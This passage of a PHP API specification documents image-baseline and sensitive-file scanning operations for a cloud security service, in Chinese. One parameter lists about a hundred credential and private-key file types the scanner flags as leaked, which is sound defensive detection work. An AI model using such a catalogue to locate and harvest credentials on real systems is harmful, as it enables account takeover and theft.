+ 'items' => [ + 'description' => '基线项列表。', + 'type' => 'object', + 'properties' => [ + 'NameKey' => [ + 'description' => '基线主项的名称key。', + 'type' => 'string', + 'example' => 'identification', + ], + 'ItemKey' => [ + 'description' => '基线子项的key。', + 'type' => 'string', + 'example' => 'duplicate_pwd_hash', + ], + 'ClassKey' => [ + 'description' => '基线主项的分类key。', + 'type' => 'string', + 'example' => 'identification', + ], + ], + ], + ], + 'BaselineItem' => [ + 'description' => '无代理检测基线检查策略。', + 'type' => 'string', + 'example' => 'hc_win2008_cis_rules', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9F85AC10-A1FE-54D7-935A-F28D5256****\\",\\n \\"Strategy\\": {\\n \\"Type\\": \\"default\\",\\n \\"StrategyName\\": \\"default\\",\\n \\"StrategyId\\": 8257,\\n \\"SelectedItemCount\\": 10,\\n \\"TotalItemCount\\": 100,\\n \\"BaselineItemList\\": [\\n {\\n \\"NameKey\\": \\"identification\\",\\n \\"ItemKey\\": \\"duplicate_pwd_hash\\",\\n \\"ClassKey\\": \\"identification\\"\\n }\\n ],\\n \\"BaselineItem\\": \\"hc_win2008_cis_rules\\"\\n }\\n}","type":"json"}]', + 'title' => '查询镜像基线策略', + ], + 'DescribeImageBaselineItemList' => [ + 'summary' => '根据镜像查询基线检查结果列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92101', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ImageUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像UUID。', + 'type' => 'string', + 'required' => true, + 'example' => '0b5c7193300da2070220038718ad****', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '基线风险的修复状态。取值：'."\n" + .'- **0**：未修复'."\n" + .'- **1**：已修复'."\n" + .'- **2**：待验证'."\n" + .'- **3**：修复失败', + 'type' => 'string', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'BaselineClassKey', + 'in' => 'query', + 'schema' => [ + 'description' => '基线分类的key。', + 'type' => 'string', + 'required' => false, + 'example' => 'ak_leak', + ], + ], + [ + 'name' => 'BaselineNameKey', + 'in' => 'query', + 'schema' => [ + 'description' => '基线名称的key。', + 'type' => 'string', + 'required' => false, + 'example' => 'Access Key泄露', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '扫描范围集合。', + 'type' => 'array', + 'items' => [ + 'description' => '扫描范围集合。取值：'."\n" + ."\n" + .'- **image**：镜像。'."\n" + .'- **container**：容器', + 'type' => 'string', + 'required' => false, + 'example' => 'image,container', + ], + 'required' => false, + 'maxItems' => 2, + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '镜像UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像UUID列表。', + 'type' => 'string', + 'required' => false, + 'example' => '5b6d4072118f487094199cedf90c****,f6310b7976144639867beea2f346****', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413****', + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '253', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'BaselineItemInfos' => [ + 'description' => '镜像基线数据列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像基线数据列表。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '基线风险的修复状态。取值：'."\n" + .'- **0**：未修复'."\n" + .'- **1**：已修复'."\n" + .'- **2**：待验证'."\n" + .'- **3**：修复失败', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'WhiteList' => [ + 'description' => '基线检查项的白名单状态。'."\n" + .'- **0**：未加白'."\n" + .'- **1**：已加白', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'BaselineNameKey' => [ + 'description' => '基线主项名称的key。', + 'type' => 'string', + 'example' => 'ak_leak', + ], + 'BaselineItemAlias' => [ + 'description' => '基线子项的别名。', + 'type' => 'string', + 'example' => 'Access Key泄漏', + ], + 'BaselineClassKey' => [ + 'description' => '基线主项分类的key。', + 'type' => 'string', + 'example' => 'ak_leak', + ], + 'BaselineClassAlias' => [ + 'description' => '基线主项分类的别名。', + 'type' => 'string', + 'example' => 'Access Key泄漏', + ], + 'BaselineNameAlias' => [ + 'description' => '基线主项名称的别名。', + 'type' => 'string', + 'example' => 'Access Key泄漏', + ], + 'BaselineItemKey' => [ + 'description' => '基线子项的key。', + 'type' => 'string', + 'example' => 'ak_leak', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'MissingImageUuid', + 'errorMessage' => 'The image ID is required.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 253,\\n \\"Count\\": 20\\n },\\n \\"BaselineItemInfos\\": [\\n {\\n \\"Status\\": 0,\\n \\"WhiteList\\": 0,\\n \\"BaselineNameKey\\": \\"ak_leak\\",\\n \\"BaselineItemAlias\\": \\"Access Key泄漏\\",\\n \\"BaselineClassKey\\": \\"ak_leak\\",\\n \\"BaselineClassAlias\\": \\"Access Key泄漏\\",\\n \\"BaselineNameAlias\\": \\"Access Key泄漏\\",\\n \\"BaselineItemKey\\": \\"ak_leak\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '根据镜像查询检查项列表', + ], + 'DescribeImageBaselineDetail' => [ + 'summary' => '查询镜像扫描基线检查结果详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92100', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ImageUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '06293273b67d19516cfcc712194f****', + ], + ], + [ + 'name' => 'BaselineItemKey', + 'in' => 'query', + 'schema' => [ + 'description' => '基线数据信息。', + 'type' => 'string', + 'required' => false, + 'example' => '取值包括但不限于以下内容：ak_leak, duplicate_uid,duplicate_pwd_hash,non_pwd_user', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF4****', + ], + 'BaselineDetail' => [ + 'description' => '镜像基线详情列表。', + 'type' => 'object', + 'properties' => [ + 'Advice' => [ + 'description' => '基线检查风险项的加固建议。', + 'type' => 'string', + 'example' => '删除泄漏的AK信息。', + ], + 'ResultId' => [ + 'description' => '异步请求ID。', + 'type' => 'string', + 'example' => 'async__c6f3b0b54613383b40bdce593ffe****', + ], + 'Description' => [ + 'description' => '基线风险项的描述。', + 'type' => 'string', + 'example' => 'Access Key泄露，会导致Access Key被冒用的风险。', + ], + 'BaselineItemAlias' => [ + 'description' => '基线子项的别名。', + 'type' => 'string', + 'example' => 'Access Key泄露', + ], + 'BaselineNameAlias' => [ + 'description' => '基线主项名称的别名。', + 'type' => 'string', + 'example' => 'Access Key泄露', + ], + 'BaselineClassAlias' => [ + 'description' => '基线主项分类的别名。', + 'type' => 'string', + 'example' => 'ak_leak', + ], + 'BaselineItemKey' => [ + 'description' => '基线子项的key。', + 'type' => 'string', + 'example' => 'ak_leak', + ], + 'Prompt' => [ + 'description' => '基线问题提示。', + 'type' => 'string', + 'example' => '/usr/aksk.txt:yourAccessKeyID', + ], + 'Level' => [ + 'description' => '检查项的风险等级。'."\n" + ."\n" + .'- **high**：高，表示风险等级高。'."\n" + ."\n" + .'- **medium**：中，表示风险等级为中等。'."\n" + ."\n" + .'- **low**：低，表示风险等级低。', + 'type' => 'string', + 'example' => 'high', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF4****\\",\\n \\"BaselineDetail\\": {\\n \\"Advice\\": \\"删除泄漏的AK信息。\\",\\n \\"ResultId\\": \\"async__c6f3b0b54613383b40bdce593ffe****\\",\\n \\"Description\\": \\"Access Key泄露，会导致Access Key被冒用的风险。\\",\\n \\"BaselineItemAlias\\": \\"Access Key泄露\\",\\n \\"BaselineNameAlias\\": \\"Access Key泄露\\",\\n \\"BaselineClassAlias\\": \\"ak_leak\\",\\n \\"BaselineItemKey\\": \\"ak_leak\\",\\n \\"Prompt\\": \\"/usr/aksk.txt:yourAccessKeyID\\",\\n \\"Level\\": \\"high\\"\\n }\\n}","type":"json"}]', + 'title' => '查询镜像基线检查结果详情', + ], + 'DescribeImageBaselineCheckResult' => [ + 'summary' => '查看镜像安全扫描的检测结果。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92098', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'ImageUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像UUID。', + 'type' => 'string', + 'required' => true, + 'example' => 'a910053dd4710173ecc9e9d8931f****', + ], + ], + [ + 'name' => 'RiskLevel', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的基线的风险等级。多个等级用英文逗号（,）分隔，默认全填。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + ."\n" + .'- **medium**：中危'."\n" + ."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'high,medium,low', + ], + ], + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '基线的查询条件。', + 'type' => 'string', + 'required' => false, + 'example' => 'ak_leak', + ], + ], + [ + 'name' => 'CriteriaType', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的基线的查询类型。取值：'."\n" + ."\n" + .'- **BaselineNameAlias**：基线名称'."\n" + ."\n" + .'- **BaselineClassAlias**：基线分类', + 'type' => 'string', + 'required' => false, + 'example' => 'BaselineNameAlias', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的登录配置信息的数量。默认值为**20**，表示每页显示20条登录配置信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。默认值为20，表示当前是第1页。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '扫描范围集合。', + 'type' => 'array', + 'items' => [ + 'description' => '扫描范围集合。取值：'."\n" + ."\n" + .'- **image**：镜像。'."\n" + .'- **container**：容器。', + 'type' => 'string', + 'required' => false, + 'example' => 'image', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413****', + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + 'BaselineResult' => [ + 'description' => '镜像基线检查列表详情。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像基线检查列表详情。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '基线风险的修复状态。取值：'."\n" + .'- **0**：未修复'."\n" + .'- **1**：已修复', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'LowRiskItemCount' => [ + 'description' => '关联的低危镜像数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'BaselineNameLevel' => [ + 'description' => '基线的风险等级。取值：'."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'high', + ], + 'LastScanTime' => [ + 'description' => '最新扫描的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1610304058301', + ], + 'MiddleRiskItemCount' => [ + 'description' => '关联的中危镜像数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'BaselineNameKey' => [ + 'description' => '基线项的名称key。', + 'type' => 'string', + 'example' => 'identification', + ], + 'BaselineItemCount' => [ + 'description' => '基线检查项个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'BaselineNameAlias' => [ + 'description' => '基线项的别名。', + 'type' => 'string', + 'example' => '身份鉴别', + ], + 'BaselineClassAlias' => [ + 'description' => '基线项的类型key。', + 'type' => 'string', + 'example' => 'identification', + ], + 'FirstScanTime' => [ + 'description' => '首次扫描的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1610304058366', + ], + 'HighRiskItemCount' => [ + 'description' => '关联的高危镜像数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'MissingImageUuid', + 'errorMessage' => 'The image ID is required.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 10\\n },\\n \\"BaselineResult\\": [\\n {\\n \\"Status\\": 1,\\n \\"LowRiskItemCount\\": 10,\\n \\"BaselineNameLevel\\": \\"high\\",\\n \\"LastScanTime\\": 1610304058301,\\n \\"MiddleRiskItemCount\\": 1,\\n \\"BaselineNameKey\\": \\"identification\\",\\n \\"BaselineItemCount\\": 5,\\n \\"BaselineNameAlias\\": \\"身份鉴别\\",\\n \\"BaselineClassAlias\\": \\"identification\\",\\n \\"FirstScanTime\\": 1610304058366,\\n \\"HighRiskItemCount\\": 1\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询镜像基线检查结果', + ], + 'DescribeAllImageBaseline' => [ + 'summary' => '获取所有镜像基线检查列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '请求的ID。用于定位日志，排查问题。', + 'type' => 'string', + 'example' => '1A975D03-5F49-5354-B2CB-3918D5DA****', + ], + 'ImageBaselines' => [ + 'description' => '镜像基线检查列表详情。', + 'type' => 'object', + 'properties' => [ + 'BaselineClassList' => [ + 'description' => '基线分类列表。', + 'type' => 'array', + 'items' => [ + 'description' => '基线分类列表。', + 'type' => 'object', + 'properties' => [ + 'ClassKey' => [ + 'description' => '基线分类的类型key。', + 'type' => 'string', + 'example' => 'identification', + ], + 'Alias' => [ + 'description' => '基线分类的别名。', + 'type' => 'string', + 'example' => '身份鉴别', + ], + 'BaselineNameList' => [ + 'description' => '基线主项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '基线主项列表。', + 'type' => 'object', + 'properties' => [ + 'NameKey' => [ + 'description' => '基线主项的名称key。', + 'type' => 'string', + 'example' => 'identification', + ], + 'ClassKey' => [ + 'description' => '基线主项的类型key。', + 'type' => 'string', + 'example' => 'identification', + ], + 'Alias' => [ + 'description' => '基线主项的别名。', + 'type' => 'string', + 'example' => '身份鉴别', + ], + 'BaselineItemList' => [ + 'description' => '基线子项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '基线子项列表。', + 'type' => 'object', + 'properties' => [ + 'NameKey' => [ + 'description' => '基线主项的名称key。', + 'type' => 'string', + 'example' => 'identification', + ], + 'ItemKey' => [ + 'description' => '基线子项的名称key。', + 'type' => 'string', + 'example' => 'duplicate_pwd_hash', + ], + 'ClassKey' => [ + 'description' => '基线主项的类型key。', + 'type' => 'string', + 'example' => 'identification', + ], + 'Alias' => [ + 'description' => '基线子项的别名。', + 'type' => 'string', + 'example' => '确保不存在相同密码Hash的账户', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1A975D03-5F49-5354-B2CB-3918D5DA****\\",\\n \\"ImageBaselines\\": {\\n \\"BaselineClassList\\": [\\n {\\n \\"ClassKey\\": \\"identification\\",\\n \\"Alias\\": \\"身份鉴别\\",\\n \\"BaselineNameList\\": [\\n {\\n \\"NameKey\\": \\"identification\\",\\n \\"ClassKey\\": \\"identification\\",\\n \\"Alias\\": \\"身份鉴别\\",\\n \\"BaselineItemList\\": [\\n {\\n \\"NameKey\\": \\"identification\\",\\n \\"ItemKey\\": \\"duplicate_pwd_hash\\",\\n \\"ClassKey\\": \\"identification\\",\\n \\"Alias\\": \\"确保不存在相同密码Hash的账户\\"\\n }\\n ]\\n }\\n ]\\n }\\n ]\\n }\\n}","type":"json"}]', + 'title' => '获取所有镜像基线检查项', + ], + 'DescribeImageListBySensitiveFile' => [ + 'summary' => '查询因敏感文件影响的镜像信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '156728', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SensitiveFileKey', + 'in' => 'query', + 'schema' => [ + 'description' => '敏感文件告警类型。取值：'."\n" + ."\n" + .'- **npm_token**：NPM访问令牌'."\n" + .'- **ftp_cfg**：FTP配置'."\n" + .'- **google\\_oauth_key**：Google OAuth Key'."\n" + .'- **planetscale_passwd**：Planetscale密码'."\n" + .'- **github\\_ssh_key**：Github SSH密钥'."\n" + .'- **msbuild\\_publish_profile**：MSBuild publish profile'."\n" + .'- **fastly\\_cdn_token**：Fastly CDN的令牌'."\n" + .'- **ssh\\_private_key**：SSH私钥'."\n" + .'- **aws_cli**：AWS CLI凭证'."\n" + .'- **cpanel_proftpd**：cPanel ProFTPd凭证'."\n" + .'- **postgresql_passwd**：PostgreSQL密码文件'."\n" + .'- **discord\\_client_cred**：Discord客户端凭证'."\n" + .'- **rails_database**：Rails数据库配置'."\n" + .'- **aws\\_access_key**：AWS Access Key'."\n" + .'- **esmtp_cfg**：ESMTP邮件服务器配置'."\n" + .'- **docker\\_registry_cfg**：Docker镜像仓库配置'."\n" + .'- **pem**：PEM'."\n" + .'- **common_cred**：通用凭证'."\n" + .'- **sftp_cfg**：SFTP连接配置'."\n" + .'- **grafana_token**：Grafana令牌'."\n" + .'- **slack_token**：Slack Token'."\n" + .'- **ec\\_private_key**：EC私钥'."\n" + .'- **pypi_token**：PyPI上传Token'."\n" + .'- **finicity_token**：Finicity平台令牌'."\n" + .'- **k8s\\_client_key**：Kubernetes客户端私钥'."\n" + .'- **git_cfg**：Git配置'."\n" + .'- **django_key**：Django密钥'."\n" + .'- **jenkins_ssh**：Jenkins SSH配置文件'."\n" + .'- **openssh\\_private_key**：OPENSSH私钥'."\n" + .'- **square_oauth**：Square OAuth凭证'."\n" + .'- **typeform_token**：Typeform 令牌'."\n" + .'- **common\\_database_cfg**：通用数据库连接配置'."\n" + .'- **wordpress\\_database_cfg**：WordPress数据库配置'."\n" + .'- **googlecloud\\_api_key**：Google Cloud API Key'."\n" + .'- **vscode_sftp**：VSCode SFTP配置'."\n" + .'- **apache_htpasswd**：Apache htpasswd'."\n" + .'- **planetscale_token**：Planetscale令牌'."\n" + .'- **contentful\\_preview_token**：Contentful Preview令牌'."\n" + .'- **php\\_database_cfg**：PHP应用程序数据库密码'."\n" + .'- **atom\\_remote_sync**：Atom远程同步配置'."\n" + .'- **aws\\_session_token**：AWS会话令牌'."\n" + .'- **atom\\_sftp_cfg**：Atom SFTP配置'."\n" + .'- **asana\\_client\\_private_key**：Asana项目管理平台客户端密钥'."\n" + .'- **tencentcloud_ak**：他云SecretId'."\n" + .'- **rsa\\_private_key**：RSA私钥'."\n" + .'- **github\\_personal_token**：Github Personal访问令牌'."\n" + .'- **pgp**：PGP加密文件'."\n" + .'- **stripe_skpk**：Stripe Secret Key'."\n" + .'- **square_token**：Square访问令牌'."\n" + .'- **rails_carrierwave**：Rails Carrierwave文件上传凭证'."\n" + .'- **dbeaver\\_database_cfg**：DBeaver数据库配置'."\n" + .'- **robomongo_cred**：Robomongo凭证'."\n" + .'- **github\\_oauth_token**：Github OAuth访问令牌'."\n" + .'- **pulumi_token**：Pulumi令牌'."\n" + .'- **ventrilo_voip**：Ventrilo VoIP Server配置'."\n" + .'- **macos\\_keychain**：macOS钥匙串'."\n" + .'- **amazon\\_mws_token**：Amazon MWS Token'."\n" + .'- **dynatrace_token**：Dynatrace令牌'."\n" + .'- **java_keystore**：Java密钥库'."\n" + .'- **microsoft_sdf**：Microsoft SQL CE数据库'."\n" + .'- **kubernetes\\_dashboard_cred**：Kubernetes Dashboard用户凭证'."\n" + .'- **atlassian_token**：Atlassian 令牌'."\n" + .'- **rdp**：远程桌面连接RDP'."\n" + .'- **mailgun_key**：Mailgun Webhook Signing Key'."\n" + .'- **mailchimp\\_api_key**：Mailchimp API Key'."\n" + .'- **netrc_cfg**：.netrc配置文件'."\n" + .'- **openvpn_cfg**：OpenVPN客户端配置'."\n" + .'- **github\\_refresh_token**：Github Refresh Token'."\n" + .'- **salesforce**：Salesforce凭证'."\n" + .'- **sendinblue**：Sendinblue令牌'."\n" + .'- **pkcs\\_private_key**：PKCS＃12密钥'."\n" + .'- **rubyonrails_passwd**：Ruby on Rails密码文件'."\n" + .'- **filezilla_ftp**：FileZilla FTP配置'."\n" + .'- **databricks_token**：Databricks令牌'."\n" + .'- **gitLab\\_personal_token**：GitLab Personal访问令牌'."\n" + .'- **rails\\_master_key**：Rails Master Key'."\n" + .'- **sqlite**：SQLite3/SQLite数据库'."\n" + .'- **firefox_logins**：Firefox登录配置'."\n" + .'- **mailgun\\_private_token**：Mailgun Private令牌'."\n" + .'- **joomla_cfg**：Joomla 配置'."\n" + .'- **hashicorp\\_terraform_token**：Hashicorp Terraform Token'."\n" + .'- **jetbrains_ides**：Jetbrains IDEs配置'."\n" + .'- **heroku\\_api_key**：Heroku API key'."\n" + .'- **messagebird_token**：MessageBird令牌'."\n" + .'- **github\\_app_token**：Github App Token'."\n" + .'- **hashicorp\\_vault_token**：Hashicorp Vault Token'."\n" + .'- **pgp\\_private_key**：PGP私钥'."\n" + .'- **sshpasswd**：SSH密码'."\n" + .'- **huaweicloud_ak**：他云Secret Access Key'."\n" + .'- **aws_s3cmd**：AWS S3cmd配置'."\n" + .'- **php_config**：Php配置'."\n" + .'- **common\\_private_key**：常见私钥类型'."\n" + .'- **microsoft_mdf**：Microsoft SQL数据库'."\n" + .'- **mediawiki_cfg**：MediaWiki配置'."\n" + .'- **jenkins_cred**：Jenkins凭证'."\n" + .'- **rubygems_cred**：Rubygems凭证'."\n" + .'- **clojars_token**：Clojars 令牌'."\n" + .'- **phoenix\\_web_passwd**：Phoenix Web凭证'."\n" + .'- **puttygen\\_private_key**：PuTTYgen私钥'."\n" + .'- **google\\_oauth_token**：Google OAuth访问令牌'."\n" + .'- **rubyonrails_cfg**：Ruby On Rails数据库配置'."\n" + .'- **lob\\_api_key**：Lob API Key'."\n" + .'- **pkcs_cred**：PKCS＃12证书'."\n" + .'- **otr\\_private_key**：OTR私钥'."\n" + .'- **contentful\\_delivery_token**：Contentful Delivery令牌'."\n" + .'- **digital\\_ocean_tugboat**：Digital Ocean Tugboat配置'."\n" + .'- **dsa\\_private_key**：DSA私钥'."\n" + .'- **rails\\_app_token**：Rails App令牌'."\n" + .'- **git_cred**：Git用户凭证'."\n" + .'- **newrelic\\_api_key**：New Relic User API Key'."\n" + .'- **github_hub**：存储Github令牌的hub配置'."\n" + .'- **rubygem**：Rubygem令牌', + 'type' => 'string', + 'required' => false, + 'example' => 'sshpasswd', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '扫描范围集合。取值：'."\n" + ."\n" + .'- **image**：镜像。'."\n" + .'- **container**：容器。', + 'type' => 'array', + 'items' => [ + 'description' => '扫描范围集合。取值：'."\n" + ."\n" + .'- **image**：镜像。'."\n" + .'- **container**：容器。', + 'type' => 'string', + 'required' => false, + 'example' => 'image', + ], + 'required' => false, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 